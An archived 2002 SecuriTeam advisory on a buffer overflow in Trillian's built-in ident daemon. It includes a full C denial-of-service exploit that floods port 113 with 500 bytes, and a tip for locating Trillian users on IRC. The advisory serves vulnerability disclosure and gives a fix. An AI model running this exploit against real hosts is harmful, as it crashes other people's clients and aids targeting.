

# [NT] Trillian Ident Security Flaw

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-09/0064.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 09/18/02

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: Wed, 18 Sep 2002 11:27:33 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

-----

Trillian Ident Security Flaw

---

## SUMMARY

Trillian is a popular Instant Messaging client, which supports ICQ/AIM/Yahoo/MSN and IRC. In order to connect to some IRC networks the user has to have an Identd running. Trillian incorporates an ident daemon in the client, which is susceptible to an overflow attack if enabled.

Connecting To the ident (on port 113) and sending 418 bytes will cause Trillian to crash. It should be noted that Trillian leaves the ident port open throughout the IRC session, an attacker would just have to connect to an IRC server and perform a '/who +u \*tril\*' and he/she would be greeted with a list of users running Trillian.

## DETAILS

Vulnerable systems:

\* Trillian version 0.74

\* Trillian version 0.73

Impact:

Low-High. This could allow arbitrary code to be executed on the remote victim's machine, or simply used as a DoS.

## Securiteam: [NT] Trillian Ident Security Flaw

### Solution:

Disable Trillian's Identd, and install a third party one if necessary.

DoS Example Exploit Code follows:

```
/* Trillian-Ident.c
```

```
Author: Lance Fitz-Herbert
```

```
Contact: IRC: Phrizer, DALnet - #KORP
```

```
ICQ: 23549284
```

```
Exploits the Trillian Ident Flaw.
```

```
Tested On Version .74 and .73
```

```
Compiles with Borland 5.5
```

```
This Example Will Just DoS The Trillian Client.
```

```
*/
```

```
#include <windows.h>
```

```
#include <stdio.h>
```

```
#include <stdlib.h>
```

```
char payload[500];
```

```
int main(int argc, char * argv[]) {
```

```
int iret;
```

```
struct hostent *host;
```

```
SOCKET sockhandle;
```

```
SOCKADDR_IN address;
```

```
WSADATA wsdata;
```

```
if (argc<2) {
```

```
printf("\nTrillian Ident DoS\n");
```

```
printf("-----\n");
```

```
printf("Coded By Lance Fitz-Herbert (Phrizer, DALnet/#KORP)\n");
```

```
printf("Tested On Version .74 and .73\n\n");
```

```
printf("Usage: trillian-ident <address>");
```

```
return 0;
```

```
}
```

```
WSAStartup(MAKEWORD(1,1),&wsdata);
```

```
printf("Making Socket Now...\n");
```

```
sockhandle = socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
```

```
if (sockhandle == SOCKET_ERROR) {
```

```
printf("Error Creating Socket\n");
```

```
WSACleanup();
```

```
return 1;
```

```
}
```

```
printf("Socket Created\n");
```

```
address.sin_family = AF_INET;
```

```
address.sin_port = htons(113);
```

```
address.sin_addr.s_addr = inet_addr(argv[1]);
```

## Securiteam: [NT] Trillian Ident Security Flaw

```
if (address.sin_addr.s_addr == INADDR_NONE) {
host = NULL;
printf("Trying To Resolve Host\n");
host = gethostbyname(argv[1]);
if (host == NULL) {
printf("Uknown Host: %s\n",argv[1]);
WSACleanup();
return 1;
}
memcpy(&address.sin_addr, host->h_addr_list[0],host->h_length);
}

printf("Connecting To Server...\n");
iret = connect(sockhandle, (struct sockaddr *) &address, sizeof(address));

if (iret == SOCKET_ERROR) {
printf("Couldnt Connect\n");
WSACleanup();
return 1;
}

printf("Connected to %s!\nSending Payload\n",argv[1]);
memset(payload,'A',500);
send(sockhandle,payload,strlen(payload),0);
Sleep(100);
WSACleanup();
return 0;
}
-- end code --
```

### ADDITIONAL INFORMATION

The information has been provided by <<mailto:fitzies@hotmail.com>> Lance Fitz-Herbert.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====

=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

---

Securiteam: [NT] Trillian Ident Security Flaw

- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NT] Bypassing TrendMicro InterScan HTTP VirusWall"
- **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)